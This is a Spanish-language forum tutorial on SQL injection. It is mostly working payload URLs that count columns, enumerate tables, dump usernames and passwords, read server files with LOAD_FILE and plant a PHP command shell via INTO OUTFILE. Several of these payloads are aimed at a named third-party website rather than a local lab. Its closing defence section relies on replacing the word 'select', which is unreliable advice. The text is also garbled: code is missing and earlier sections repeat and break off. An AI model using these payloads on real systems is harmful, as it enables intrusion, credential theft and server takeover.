Inyecciones SQL desde 0
Indice:
1:Que es una inyección SQL
2:Como sacar el numero de columnas
3:Como sacar tablas y columnas en information schema
4:Como sacar tablas y columnas por fuerza bruta
5:Como sacar columnas de mysql.user
6:Como sacar usuarios y password
7:Sacar informacion de la base de datos
8:Como explotar LOAD_FILE
9:Como hacer vulnerable a RFI mediante una inyeccion SQL
10:Evitar estos ataques
0x01:Que es una inyeccion SQL
Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder
ver datos que no son publicos y modificar a nuestro antojo.
La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya
preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto
es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con
un plis.
Para usar este manual necesitas tener instalado AppServer o Easy PHP
http://www.appservnetwork.com/index.php?newlang=spanish
Los archivos para la web deben ir en C:\Appserv\www
Entonces a programar se ha dicho.
Antes que tienes que crear la base de datos , primero van a
Inicio - Todos los programas - Appserv - MySQL Command Line Client
Ejecutamos el MySQL Command Line Client y escribimos la contraseña.
Ejecuta los siguientes comandos.
Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)
INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');
Aca les dejo para el index
Código: [Seleccionar]
Language: PHP
Laboratorio Guasonero
By Guasón
";
echo "user_id: ".$users[0]."
";
echo "username: ".$users[1]."
";
echo "password: ".$users[3]."
";
mysql_close($db);
?>
¿Como se si es vulnerable?
Para saber si es vulnerable basta con hacer
http://127.0.0.1/index.php?id=1+and+1=0
Si no se muestra nada , la pagina no seria vulnerable.
0x02:Como sacar el numero de columnas
Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son
**ORDER BY******
Para poder sacar el numero de columnas mediante Order By seria
http://127.0.0.1/index.php?id=1+order+by+1
Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo
http://127.0.0.1/index.php?id=1+order+by+2
http://127.0.0.1/index.php?id=1+order+by+3
http://127.0.0.1/index.php?id=1+order+by+4
http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)
Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas
***Sumando con union select*******
Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo
0x677561736f6e = guason
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e
Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)
Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.
0x03:Como sacar tablas y columnas con information schema
Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes
***Usando LIMIT*****
Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:
http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1
Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.
http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1
Cuando lleguen al numero 17 veran la tabla amada llamada Users
Ahora hay que sacar las columnas con limit. Seria asi.
117,115,101,114,115 = Users en ascii
http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)
Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.
Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: [Seleccionar]
Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón
my $palabra = $ARGV[1];
my $opcion = $ARGV[2];
unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii \n\n";
print " = Texto normal o codificacion ascii\n";
print " = encode , decode\n\n";
exit 1;
}
if ($opcion eq "encode") {
&ascii_encode($palabra);
&creditos;
}
if ($opcion eq "decode") {
&ascii_decode($palabra);
&creditos;
}
sub ascii_decode {
my $z = shift;
$z = join q[], map { chr } split q[,],$z;
print "\n\n[+] Texto codificado = $palabra\n";
print "[+] Texto normal = $z\n\n";
}
sub ascii_encode {
my $string = shift;
$re = join ',', unpack "U*", $string; # o A* para ASCII
print "\n\n[+] Texto normal = $palabra\n";
print "[+] Texto codificado = $re\n\n";
}
sub creditos {
print "\n\n\n\n\t\t\t******************************************\t\t\t";
print "\t\t\tWritten By El Gran Guason || 2010\t\t\t";
print "\t\t******************************************\t\t\t\n\n";
exit 1;
}
******Usando group_concat******************
Ok , ahora viene la mejor y mas corta seguiremos usando lamentablemente bullcariez
http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),2,3,4,5,6+from+information_schema.tables
Con esta tecnica presenciaremos todas las tablas aunque no todas.Pero la que vale es users
Ahora cuando vean la tabla users lo sacan de esta manera no antes que de haber
convertido en ascii la tabla.
http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)
Pues ahora veremos todas las columnas de esa tabla , pero las esenciales son nombre y Pass.
0x04:Como sacar tablas y columnas por fuerza bruta.
Pues esta tecnica es la peor y mas dura.Pues para eso hice a Hunter-MYSQL que intenta sacarlas
aunque a veces no hay remedio.
Ok , tomaremos como ejemplo a nuestro servidor web y no a la mierda de bullcariez.
Como siempre cabe aclarar que vamos a necesitar al numero de columnas. Ahora vamos
a los ejemplos.
Antes de probar esto hay que tener claro la segundo tecnica de sacar columnas del manual
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+LATABLA A PROBAR
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+usuarios
Pues el resultado de esta inyeccion es cualquier cosa pues si la tabla usuarios existiera nos mostraria guason en el resultado
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+users
Ok ,yes , nos ha mostrado 3 veces guason , pues eso solo nos esta diciendo que la tabla users EXISTE.
Ahora las columnas de la tabla users
Para sacar las columnas de la tabla users seria
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),2,3,4+from+users--
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,sexualidad),2,3,4+from+users--
Como veran intente con la columna sexualidad pero como esta no existe no se mostrara un carajo.
Ahora probare con name , password y country
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,name),2,3,4+from+users--
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),2,3,4+from+users--
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,country),2,3,4+from+users--
Pues todas inyecciones nos tira guason
guason
guason
Pues esa son las columnas que tiene la tabla users.
0x05:Sacar columnas de mysql.user
Pues para comprobar si nuestro servidor web tiene mysql.user seria:
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user
Ok , a mi , me devuelve tres veces guason , no se a ustedes pero bueno.
Para sacar las columnas de mysql.user seria:
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,tonton),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user
Pues no nos devuelve ese idiota de guason , entonces no tiene ninguna columna llamada tonton
Entonces para probar con name password nos tira
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,user),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user
http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user
Nos tira : guason
guason
Entonces las columnas son user y password.
0x06:Como sacar usuarios y password
Ok , si ya conseguiste la tabla de usuarios con las columas interesantes lo que debes hacer es
http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4
Debes elegir algunos de los numeros que salen en la pantalla de resultado.Pues si al final de usar
algunos de los estos numeros y mas adelante no te salio nada , debes intentar con otro numero que
te da la inyeccion en el resultado.
Pues yo eligo el 1. Entonces la inyeccion seria con estos datos
tabla = users
columnas a sacar = name y password
http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users
Uso a 0x3a para separar el resultado del name y del password
0x3a = :
La inyeccion nos tira
Guason:123
Ay no! alguien tien mi contraseña xD
Lo mismo seria para mysql.user
http://127.0.0.1/index.php?id=-1+union+select+concat(user,0x3a,password),2,3,4+from+mysql.user
Y lo mismo para information_schema
http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users
Pero este ultimo no me anda porque mi mysql es viejo y no tiene information_schema pero la inyeccion nos da el mismo resultado ya que las tablas y columnas si existen
0x07:Sacar informacion de la base de datos
Ok , para sacar informacion de la base de datos seria:
Lo que podemos sacar es
Código: [Seleccionar]
version() = Version de mysql
database() = Tipo base de datos
user() = usuario
connection_id() = Id de la conexion
Para tenemos que tenes el numero de columnas
http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4
Pues eligen cualquier numero que les tire el resultado de la inyeccion
En mi caso agarro uno
http://127.0.0.1/index.php?id=-1+union+select+concat(user(),0x3a,database(),0x3a,version(),connection_id(),0x3a),2,3,4
Pues nos tira:
Código: [Seleccionar]
root@localhost:test:4.1.9-max3:
Todos los datos que pedimos primero el user , despues el nombre basedate , luego la version y despues el id de la conexion.
0x08:Como explotar LOAD_FILE
Con la funcion LOAD_FILE podemos leer los archivos que hay en el servidor Ejemplo por defecto
en mi base de datos voy a parar en mysql/data. Yo en este directorio yo tengo un archivo llamado boludo.txt.
Entonces teniendo a boludo.txt = 0x626f6c75646f2e747874
Podemos leer el archivo mediante el numero milagroso y la funcion load_file
http://127.0.0.1/index.php?id=-1+union+select+load_file(0x626f6c75646f2e747874),2,3,4
Entonces el resultado me daria " Hola enfermo! " porque en el archivo boludo.txt tengo solamente eso.
Y asi podran ir sacando cosas malevolas con esta tecnica.
0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL
Pues ya teniendo el numero de columnas tambien podemos crear archivo mediante la funcion
into+outfile
Entonces como siempre agarramos el 1 xD.
Eh intentaremos crear un ejecutor de comandos con este codigo
Código: [Seleccionar]
Language: PHP
Cabe aclarar que el directorio que vamos a que guardar este ejecutor no debe ser restringido para
los visitantes.
http://127.0.0.1/index.php.php?id=-1+union+select+' ',2,3,4+into+outfile+'gilo.php'
Ok , si ven que el resultado es nulo y no sale ningun error es que se ah creado el archivo. Por
defecto a mi se me creo en mysql/data.
Solo es cuestion de ir cambiando de directorios hasta que alguno nos deje crear el archivo.
Pero por algo me hago llamar El Gran Guasón , porque no soy mas un newbie y no tengo nada
de noob.
Vamos a ejecutar de nuevo la sentencia pero ahora de esta forma.
http://127.0.0.1/index.php.php?id=-1+union+select+"",2,3,4+into+outfile+'../../www/cmd.php'--
La explicacion seria simple como la estructura de Easy PHP hizo que el resultado del archivo
creado terminara en mysql/data lo que yo hice fue dar dos veces para atras e ir al directorio www de
Easy PHP terminando creando el archivo cmd.php
Ahora solo es cuestion de hacer esto
http://127.0.0.1/cmd.php
Y listo tenemos una cosa rara de shell que ejecuta comandos
Un ejemplo seria
http://127.0.0.1/cmd.php?agarrala=net user /add Jose 123
Este comando es porque mi SO es Windows ,la mayoria de los SO de las webs son linux y los directorios apache varian solo es cuestion de ir probando.
0x10:Evitar estos ataques
Ahora que ya eh explicado casi todo es hora de decir como defenderse de estos ataques
Hay varios formas pero solo nombrare algunas
Código: [Seleccionar]
Language: PHP
$user =(int)$_GET['id'];
Con esto queremos decir que si se introduce algun dato o valor en la inyeccion no sera mostrada
Ahora hay que usar otra para evitar el "select"
Código: [Seleccionar]
$user = $_GET['id'];
$user = str_replace("select","9999999999999",$user);
Ahora este codigo no esta diciendo que si se utiliza la palabra "select" esta sera reemplazada por
"9999999999999".
By Guasón
";
echo "user_id: ".$users[0]."
";
echo "username: ".$users[1]."
";
echo "password: ".$users[3]."
";
mysql_close($db);
?>
¿Como se si es vulnerable?
Para saber si es vulnerable basta con hacer
http://127.0.0.1/index.php?id=1+and+1=0
Si no se muestra nada , la pagina no seria vulnerable.
0x02:Como sacar el numero de columnas
Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son
**ORDER BY******
Para poder sacar el numero de columnas mediante Order By seria
http://127.0.0.1/index.php?id=1+order+by+1
Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo
http://127.0.0.1/index.php?id=1+order+by+2
http://127.0.0.1/index.php?id=1+order+by+3
http://127.0.0.1/index.php?id=1+order+by+4
http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)
Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas
***Sumando con union select*******
Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo
0x677561736f6e = guason
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e
Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)
Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.
0x03:Como sacar tablas y columnas con information schema
Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes
***Usando LIMIT*****
Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:
http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1
Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.
http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1
Cuando lleguen al numero 17 veran la tabla amada llamada Users
Ahora hay que sacar las columnas con limit. Seria asi.
117,115,101,114,115 = Users en ascii
http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)
Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.
Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: [Seleccionar]
Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón
my $palabra = $ARGV[1];
my $opcion = $ARGV[2];
unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii
Autor: El Gran Guasón